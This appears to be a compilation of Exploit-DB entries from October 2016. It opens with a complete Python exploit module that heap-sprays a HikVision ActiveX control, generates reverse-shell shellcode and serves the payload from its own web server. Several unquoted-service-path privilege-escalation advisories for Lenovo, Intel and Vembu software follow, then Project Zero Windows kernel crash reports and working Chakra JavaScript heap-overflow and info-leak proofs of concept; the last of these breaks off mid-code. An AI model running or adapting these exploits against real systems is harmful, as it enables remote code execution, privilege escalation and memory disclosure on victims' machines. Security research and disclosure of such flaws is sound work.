################################################
######### Ashiyane Digital Security Team ############
########## exploit by: Amir.ght #####################
################################################
            
#!/usr/bin/env python
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
# visit eastfw.com  eastexploits.com for more info
import sys
import re
import os
import socket
import random
import string
from struct import pack

sys.path.append("./core")
from Sploit import Sploit
sys.path.append("./shellcodes")
from Shellcodes import OSShellcodes

INFO={}
INFO['NAME']="efa_HikVision_Security_Systems_activex"
INFO['DESCRIPTION']="HikVision Security Systems activex Remote Overflow"
INFO['VENDOR']="http://www.hikvision.com/us/Tools_84.html"
INFO["CVE Name"]="0-day"
INFO["NOTES"]="""
Exploit-db.com  information:
    # Exploit Title: HikVision Security Systems ActiveX exploit designed for EAST framework
    # Google Dork:  none
    # Date: 19 October 2016
    # Exploit Author: EAST framework development team. Yuriy Gurkin
    # Vendor Homepage: http://www.hikvision.com/us
    # Software Link: http://www.hikvision.com/us/Tools_84.html  client software
    # Version: v2.5.0.5
    # Tested on: Windows XP, 7
    # CVE : 0day
    
General information:
Loaded File: C:\temp\WEBCAM~1\HIKVIS~1\NETVID~1.OCX
Name:        NETVIDEOACTIVEX23Lib
Lib GUID:    {99F388E9-F788-41D5-A103-8F4961539F88}
Version:     1.0
Lib Classes: 1

Class NetVideoActiveX23
GUID: {CAFCF48D-8E34-4490-8154-026191D73924}
Number of Interfaces: 1
Default Interface: _DNetVideoActiveX23
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
"""

INFO['CHANGELOG']="13 Jan, 2016. Written by Gleg team."
INFO['PATH'] = "Exploits/"

PROPERTY = {}
PROPERTY['DESCRIPTION'] = "ActiveX 0-day"
PROPERTY['MODULE_TYPE'] = "Scada"

# Must be in every module, to be set by framework
OPTIONS = {}
OPTIONS["CONNECTBACK_PORT"] = "8089"

class exploit(Sploit):
    def __init__(self,
                port=8089, 
                logger=None):
        Sploit.__init__(self,logger=logger)
        self.port = port
        self.state = "running"
        return

    def args(self):
        self.args = Sploit.args(self, OPTIONS)
        self.port = int(self.args.get('CONNECTBACK_PORT', self.port))
        return

    def create_shellcode(self):
        self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname())
        if self.args['listener']:
            shellcode_type = 'reverse'
            port = int(self.args['listener']['PORT'])
        else:
            port = 9999
            shellcode_type = 'command'
        self.CONNECTBACK_PORT = port
        os_system = os_target = 'WINDOWS'
        os_arch = '32bit'
        s = OSShellcodes(os_target,
                        os_arch,
                        self.CONNECTBACK_IP,
                        self.CONNECTBACK_PORT)
        s.TIMESTAMP = 'codesys'
        shellcode = s.create_shellcode(
            shellcode_type,
            encode=0,
            debug=1
        )
        return shellcode

    def make_data(self, shellcode):
        filedata="""
        <html>
<object classid='clsid:CAFCF48D-8E34-4490-8154-026191D73924' id='target' ></object>
<script type='text/javascript' language="javascript">
ar=new Array();

function spray(buffer) {
    var hope   = unescape('%u9090%u9090');
    var unbuffer = unescape(buffer);
    var v      = 20 + unbuffer.length;

    while(hope.length<v)
         hope += hope;

    var fk = hope.substring(0, v);
    var bk = hope.substring(0, hope.length- v );
    delete v;
    delete hope;

    while(bk.length+v<0x40000) { 
       bk=bk+bk+fk;
    }
    for(i=0;i<3500;i++) {
       ar[i] = bk + unbuffer;
    }

}

spray(<SHELLCODE>);

        
buffer = "";
for (i = 0; i < 555; i++) buffer += unescape('%u9090%u9090');
target.GetServerIP (buffer);
</script>
</html>

        """
        if len(shellcode)%2:
            shellcode="\x90"+shellcode

        shell="unescape(\""
        i = 0
        while i < len(shellcode):
            shell += "%u"+"%02X%02X" %(ord(shellcode[i+1]),ord(shellcode[i]))     
            i += 2
        shell += "\")"
        filedata = filedata.replace("<SHELLCODE>", shell)
        return filedata

    def run(self):
        self.args()
        self.log("Generating shellcode")
        shellcode = self.create_shellcode()
        if not shellcode:
            self.log("Something goes wrong")
            return 0
        self.log("Generate Evil HTML")
        html = self.make_data(shellcode)
        self.log("Done")
        self.log("Starting web server")
        ip_server = "0.0.0.0"
        crlf = "\r\n"
        response = "HTTP/1.1 200 OK" + crlf
        response += "Content-Type: text/html" + crlf
        response += "Connection: close" + crlf
        response += "Server: Apache" + crlf
        response += "Content-Length: " + str(len(html))
        response += crlf + crlf + html + crlf
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server = (ip_server, 8089)
        s.bind(server)
        s.listen(1)
        while True:
            try:
                connection, client_address = s.accept()
                data = connection.recv(2048)
                self.log("Got request, sending payload")
                connection.send(response)
                self.log("exploit send")
                connection.close()
            except:
                print("EXCEPT")
        self.log('All done')
        self.finish(True)
        return 1

if __name__ == '__main__':
    """
    By now we only have the tool
    mode for exploit..
    Later we would have
    standalone mode also.
    """
    print "Running exploit %s .. " % INFO['NAME']
    e = exploit("192.168.0.1",80)
    e.run()
            
# Exploit Title: Lenovo Slim USB Keyboard - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.09
# Tested on: Windows 7 Professional

The Lenovo Slim USB Keyboard service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.09, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc Sks8821

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: Sks8821

        TYPE               : 20  WIN32_SHARE_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Lenovo Slim USB Keyboard\Sks8821.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Skdaemon Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Lenovo RapidBoot HDD Accelerator - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.00.0802
# Tested on: Windows 7 Professional
 
The Lenovo RapidBoot HDD Accelerator service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.00.0802, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc FastbootService                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: FastbootService                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 1   NORMAL                                         
        BINARY_PATH_NAME   : C:\Program Files (x86)\Lenovo\RapidBoot HDD Accelerator\FBService.exe                                                              
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : FastbootService                                    
        DEPENDENCIES       : RPCSS                                              
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Intel(R) Management Engine Components - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 8.0.1.1399
# Tested on: Windows 7 Professional

The Intel(R) Management and Security Application Local Management Service (LMS) is installed with an unquoted service path.  
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 8.0.1.1399, but other versions may be affected
as well.


---------------------------------------------------------------------------

C:\>sc qc LMS

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: LMS

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START  (DELAYED)

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intel(R) Management and Security Application Local Management Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Vembu StoreGrid - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 4.0
# Tested on: Windows Server 2012

StoreGrid is a re-brandable backup solution, which can install 2 services with unquoted service paths.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 4.0, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc RemoteBackup

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\bin\StoreGrid.exe


        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem


C:\>sc qc RemoteBackup_webServer

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup_webServer

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\apache\Apache.exe -k runservice

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup_WebServer

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 15.1.0.0096
# Tested on: Windows 7 Professional

The Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed service is installed with an unquoted service path.  
This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
This was tested on version 15.1.0.0096, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc AMPPALR3

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: AMPPALR3

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START  (DELAYED)

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Intel\BluetoothHS\BTHSAmpPalService.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intelr Centrinor Wireless Bluetoothr + High Speed Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=868

We have encountered Windows kernel crashes in the win32k!sbit_Embolden and win32k!ttfdCloseFontContext functions while processing corrupted TTF font files. Excerpts of them are shown below:

---
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003.  This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG.  This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG.  This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 8e70bba3, The address that the exception occurred at
Arg3: 9b7e3a84, Trap Frame
Arg4: 00000000

Debugging Details:
------------------


EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

FAULTING_IP: 
win32k!MultiUserGreTrackRemoveEngResource+1c
8e70bba3 8901            mov     dword ptr [ecx],eax

TRAP_FRAME:  9b7e3a84 -- (.trap 0xffffffff9b7e3a84)
ErrCode = 00000002
eax=fa42ce68 ebx=fa42ce78 ecx=00000000 edx=00000000 esi=ff73a000 edi=fc4a4fc8
eip=8e70bba3 esp=9b7e3af8 ebp=9b7e3af8 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
win32k!MultiUserGreTrackRemoveEngResource+0x1c:
8e70bba3 8901            mov     dword ptr [ecx],eax  ds:0023:00000000=????????
Resetting default scope

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x8E

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre

LAST_CONTROL_TRANSFER:  from 82933d87 to 828cf978

STACK_TEXT:  
9b7e303c 82933d87 00000003 1d46c818 00000065 nt!RtlpBreakWithStatusInstruction
9b7e308c 82934885 00000003 9b7e3490 00000000 nt!KiBugCheckDebugBreak+0x1c
9b7e3450 82933c24 0000008e c0000005 8e70bba3 nt!KeBugCheck2+0x68b
9b7e3474 829092a7 0000008e c0000005 8e70bba3 nt!KeBugCheckEx+0x1e
9b7e3a14 828929a6 9b7e3a30 00000000 9b7e3a84 nt!KiDispatchException+0x1ac
9b7e3a7c 8289295a 9b7e3af8 8e70bba3 badb0d00 nt!CommonDispatchException+0x4a
9b7e3af8 8e70bbe6 ff73a000 fb77cd28 9b7e3b20 nt!Kei386EoiHelper+0x192
9b7e3b08 8e7ef63d ff73a010 8e7ef5c0 fb784cf0 win32k!EngFreeMem+0x16
9b7e3b20 8e7ef67c fa42ce78 9b7e3b98 9b7e3b3c win32k!ttfdCloseFontContext+0x51
9b7e3b30 8e7ef5d8 fb784cf0 9b7e3b74 8e7ef1f8 win32k!ttfdDestroyFont+0x16
9b7e3b3c 8e7ef1f8 fb784cf0 fe38ccf0 9b7e3bd8 win32k!ttfdSemDestroyFont+0x18
9b7e3b74 8e7ef41b fb784cf0 fe38ccf0 00000000 win32k!PDEVOBJ::DestroyFont+0x67
9b7e3ba4 8e7749c3 00000000 00000000 00000001 win32k!RFONTOBJ::vDeleteRFONT+0x33
9b7e3bcc 8e77660f 9b7e3bf0 fb784cf0 00000000 win32k!vRestartKillRFONTList+0x8d
9b7e3c00 8e84100e 00000006 fb284fc0 8eaf8fc8 win32k!PFTOBJ::bUnloadWorkhorse+0x15f
9b7e3c28 82891dc6 0500019c 002cf9cc 76e26bf4 win32k!GreRemoveFontMemResourceEx+0x60
9b7e3c28 76e26bf4 0500019c 002cf9cc 76e26bf4 nt!KiSystemServicePostCall
002cf9cc 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet
---

And:

---
PAGE_FAULT_IN_FREED_SPECIAL_POOL (cc)
Memory was referenced after it was freed.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fc1ffa54, memory referenced
Arg2: 00000001, value 0 = read operation, 1 = write operation
Arg3: 82848a05, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.

Debugging Details:
------------------


WRITE_ADDRESS:  fc1ffa54 Special pool

FAULTING_IP: 
nt!memset+45
82848a05 f3ab            rep stos dword ptr es:[edi]

MM_INTERNAL_CODE:  0

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0xCC

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  2

ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre

TRAP_FRAME:  8fb73d58 -- (.trap 0xffffffff8fb73d58)
ErrCode = 00000002
eax=00000000 ebx=00000001 ecx=00000001 edx=00000000 esi=00000004 edi=fc1ffa54
eip=82848a05 esp=8fb73dcc ebp=8fb73e28 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
nt!memset+0x45:
82848a05 f3ab            rep stos dword ptr es:[edi]
Resetting default scope

LAST_CONTROL_TRANSFER:  from 828eed87 to 8288a978

STACK_TEXT:  
8fb738ac 828eed87 00000003 766f335a 00000065 nt!RtlpBreakWithStatusInstruction
8fb738fc 828ef885 00000003 00000000 0000000a nt!KiBugCheckDebugBreak+0x1c
8fb73cc0 8289d94d 00000050 fc1ffa54 00000001 nt!KeBugCheck2+0x68b
8fb73d40 8284ffa8 00000001 fc1ffa54 00000000 nt!MmAccessFault+0x104
8fb73d40 82848a05 00000001 fc1ffa54 00000000 nt!KiTrap0E+0xdc
8fb73dcc 8f15cca0 fc1ffa54 00000000 00000004 nt!memset+0x45
8fb73e28 8f050c00 0000000b 00000004 c0000002 win32k!sbit_Embolden+0x34d
8fb73e68 8efc3e10 fb972fd0 fc200ea0 faec6040 win32k!sbit_GetBitmap+0x18c
8fb73eb4 8efc9ff1 fc200010 fc20007c faec6040 win32k!fs_ContourScan+0x192
8fb73ff8 8efbef89 00000028 00000020 faec6000 win32k!lGetGlyphBitmap+0x1aa
8fb74020 8efbedd6 00000000 00000001 00000020 win32k!ttfdQueryFontData+0x15e
8fb74070 8efbdff2 fbf98010 fa794cf0 00000001 win32k!ttfdSemQueryFontData+0x45
8fb740b8 8f14eef5 fbf98010 fa794cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
8fb740e8 8f14ef48 fc586f20 ffa84130 8fb74114 win32k!RFONTOBJ::bInsertGlyphbitsLookaside+0xa7
8fb740f8 8f050663 0000000a fc586f20 8fb74798 win32k!RFONTOBJ::cGetGlyphDataLookaside+0x1c
8fb74114 8f03b2fc 8fb74798 8fb74148 8fb74144 win32k!STROBJ_bEnum+0x6c
8fb7414c 8f03b4d9 00000001 8fb74358 00000d0d win32k!GetTempTextBufferMetrics+0x61
8fb743d4 8ee34042 fc1cadb8 8fb74798 fa794cf0 win32k!EngTextOut+0x26
WARNING: Stack unwind information not available. Following frames may be wrong.
8fb74410 8f13cce0 fb16edb8 8fb74798 fa794cf0 VBoxDisp+0x4042
8fb7446c 8f03dbcb fef7cc90 8fb74798 fa794cf0 win32k!WatchdogDrvTextOut+0x51
8fb744b8 8f03de38 8f13cc8f 8fb74724 fb16edb8 win32k!OffTextOut+0x71
8fb7473c 8f03d9a8 fb16edb8 8fb74798 fa794cf0 win32k!SpTextOut+0x1a2
8fb74a38 8efcc2d4 8fb74bfc fc0b8e20 fc0b8e7c win32k!GreExtTextOutWLocked+0x1040
8fb74ab4 8f01f251 00000000 ff7bf064 00001000 win32k!GreBatchTextOut+0x1e6
8fb74c24 8284cd5c 000000bc 001afd88 001afdb4 win32k!NtGdiFlushUserBatch+0x123
8fb74c34 76f16bf3 badb0d00 001afd88 00000000 nt!KiSystemServiceAccessTeb+0x10
8fb74c38 badb0d00 001afd88 00000000 00000000 ntdll!KiFastSystemCall+0x3
8fb74c3c 001afd88 00000000 00000000 00000000 0xbadb0d00
8fb74c40 00000000 00000000 00000000 00000000 0x1afd88
---

While the two above crashes look differently, we believe they manifest a single security issue, as they occur interchangeably with our proof of concept files. The first one is a NULL pointer dereference while performing a list unlinking operation, while the second is an attempt to write to memory which has already been freed, and they both indicate a use-after-free condition. While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "OS/2" and "VDMX" tables.

The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for win32k.sys (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes. It is also required for the "Adjust for best performance" option to be set in "System > Advanced system settings > Advanced > Performance > Settings", most likely due to the "Smooth edges of screen fonts" getting unchecked.

Attached is an archive with three proof of concept font files.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40599.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=873

We have encountered Windows kernel crashes in the memmove() function called by nt!CmpCheckValueList while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
ATTEMPTED_WRITE_TO_READONLY_MEMORY (be)
An attempt was made to write to readonly memory.  The guilty driver is on the
stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: b008d000, Virtual address for the attempted write.
Arg2: 45752121, PTE contents.
Arg3: a5d9b590, (reserved)
Arg4: 0000000b, (reserved)

Debugging Details:
------------------

[...]

STACK_TEXT:  
a5d9b60c 81820438 b008cb40 b008cb44 fffffffc nt!memmove+0x33
a5d9b670 8181f4f0 ab3709c8 00000000 b008cb34 nt!CmpCheckValueList+0x520
a5d9b6bc 8181fc01 03010001 0000b3b8 00000020 nt!CmpCheckKey+0x661
a5d9b6f4 818206d0 ab3709c8 03010001 00000001 nt!CmpCheckRegistry2+0x89
a5d9b73c 8182308f 03010001 8000057c 80000498 nt!CmCheckRegistry+0xfb
a5d9b798 817f6fa0 a5d9b828 00000002 00000000 nt!CmpInitializeHive+0x55c
a5d9b85c 817f7d85 a5d9bbb8 00000000 a5d9b9f4 nt!CmpInitHiveFromFile+0x1be
a5d9b9c0 817ffaae a5d9bbb8 a5d9ba88 a5d9ba0c nt!CmpCmdHiveOpen+0x50
a5d9bacc 817f83b8 a5d9bb90 a5d9bbb8 00000010 nt!CmLoadKey+0x459
a5d9bc0c 8168edc6 0025fd58 00000000 00000010 nt!NtLoadKeyEx+0x56c
a5d9bc0c 77806bf4 0025fd58 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0025fdc0 00000000 00000000 00000000 00000000 0x77806bf4
---

The root cause of the bug seems to be that the nt!CmpCheckValueList function miscalculates the number of items to be shifted to the left in an array with 4-byte entries, resulting in the following call:

RtlMoveMemory(&array[x], &array[x + 1], 4 * (--y - x));

Here, the eventual value of the size parameter becomes negative (--y is smaller than x), but is treated by RtlMoveMemory as an unsigned integer, which is way beyond the size of the memory region, resulting in memory corruption. In a majority of observed cases, the specific negative value ended up being 0xfffffffc (-4), but we have also seen a few samples which crashed with size=0xfffffff8 (-8).

The issue reproduces on Windows 7. Considering the huge memory copy size, the crash should manifest both with and without Special Pools enabled. In order to reproduce the problem with the provided samples, it is necessary to load them with a dedicated program which calls the RegLoadAppKey() API.

Attached are three proof of concept hive files.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40600.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=876

We have encountered a Windows kernel crash in the nt!RtlValidRelativeSecurityDescriptor function invoked by nt!CmpValidateHiveSecurityDescriptors while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003.  This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG.  This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG.  This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 81815974, The address that the exception occurred at
Arg3: 80795644, Trap Frame
Arg4: 00000000

Debugging Details:
------------------

[...]

STACK_TEXT:  
807956c4 81814994 a4f3f098 0125ffff 00000000 nt!RtlValidRelativeSecurityDescriptor+0x5b
807956fc 818146ad 03010001 80795728 80795718 nt!CmpValidateHiveSecurityDescriptors+0x24b
8079573c 8181708f 03010001 80000560 80000540 nt!CmCheckRegistry+0xd8
80795798 817eafa0 80795828 00000002 00000000 nt!CmpInitializeHive+0x55c
8079585c 817ebd85 80795bb8 00000000 807959f4 nt!CmpInitHiveFromFile+0x1be
807959c0 817f3aae 80795bb8 80795a88 80795a0c nt!CmpCmdHiveOpen+0x50
80795acc 817ec3b8 80795b90 80795bb8 00000010 nt!CmLoadKey+0x459
80795c0c 81682dc6 002afc90 00000000 00000010 nt!NtLoadKeyEx+0x56c
80795c0c 77066bf4 002afc90 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
002afcf8 00000000 00000000 00000000 00000000 0x77066bf4

[...]

FOLLOWUP_IP: 
nt!RtlValidRelativeSecurityDescriptor+5b
81815974 803801          cmp     byte ptr [eax],1
---

The bug seems to be caused by insufficient verification of the security descriptor length passed to the nt!RtlValidRelativeSecurityDescriptor function. An inadequately large length can render the verification of any further offsets useless, which is what happens in this particular instance. Even though the nt!RtlpValidateSDOffsetAndSize function is called to sanitize each offset in the descriptor used to access memory, it returns success due to operating on falsely large size. This condition can be leveraged to get the kernel to dereference any address relative to the pool allocation, which may lead to system crash or disclosure of kernel-mode memory. We have not investigated if the bug may allow out-of-bounds memory write access, but if that is the case, its severity would be further elevated.

The issue reproduces on Windows 7 and 8.1. In order to reproduce the problem with the provided sample, it is necessary to load it with a dedicated program which calls the RegLoadAppKey() API.

Attached is a proof of concept hive file.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40601.zip
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=923

There is a heap overflow in Array.map in Chakra. In Js::JavascriptArray::MapHelper, if the array that is being mapped is a Proxy, ArraySpeciesCreate is used to create the array that the mapped values are copied into. They are then written to the array using DirectSetItemAt, even through there is no guarantee the array is a Var array. If it is actually an int array, it will be shorter than this function expects, causing a heap overflow. A minimal PoC is as follows:

var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x777777777777;

}

var o = a.map.call(p, test);

A full PoC is attached.
-->

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
       alert("has " + name);
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x777777777777;

}


var o = a.map.call(p, test);

var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script></body></html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=920

When Function.apply is called in Chakra, the parameter array is iterated through using JavascriptArray::ForEachItemInRange. This function accepts a templated parameter, hasSideEffect that allows the function to behave safely in the case that iteration has side effects. In JavascriptFunction::CalloutHelper (which is called by Function.apply) this parameter is set to false, even though iterating through the array can have side effects. This can cause an info leak if the side effects cause the array to change types from a numeric array to a variable array. A PoC is as folows and attached. Running this PoC causes an alert dialog with pointers in it.

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));	
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

-->

<html><body><script>

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));	
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

</script></body></html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=919

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.
-->

<html><body><script>

var y = 0;
var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      t[0] = {};
      var j = [];
